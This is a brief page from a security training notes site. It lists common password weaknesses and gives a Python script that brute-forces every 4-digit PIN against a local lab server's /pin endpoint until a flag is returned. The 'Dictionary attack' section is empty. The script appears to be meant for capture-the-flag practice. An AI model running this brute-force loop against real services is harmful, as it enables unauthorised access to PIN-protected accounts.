githubEdit

pin-and-dictionary-attack

Common password weaknesses

  1. Short passwords: password length with fewer than eight characters.

  2. Common words and phrases: using dictionary words, names, common phrases.

  3. Personal information

  4. Reusing passwords

  5. Predictable patterns

  6. Default passwords

Pin attack

import requests

ip = "127.0.0.1"  # Change this to your instance IP address
port = 1234       # Change this to your instance port number
# Try every possible 4-digit PIN (from 0000 to 9999)
for pin in range(10000):
    formatted_pin = f"{pin:04d}"  # Convert the number to a 4-digit string (e.g., 7 becomes "0007")
    print(f"Attempted PIN: {formatted_pin}")
    
    # Send the request to the server
    response = requests.get(f"http://{ip}:{port}/pin?pin={formatted_pin}")
    
    # Check if the server responds with success and the flag is found
    if response.ok and 'flag' in response.json():  # .ok means status code is 200 (success)
        print(f"Correct PIN found: {formatted_pin}")
        print(f"Flag: {response.json()['flag']}")
        break

Dictionary attack

Last updated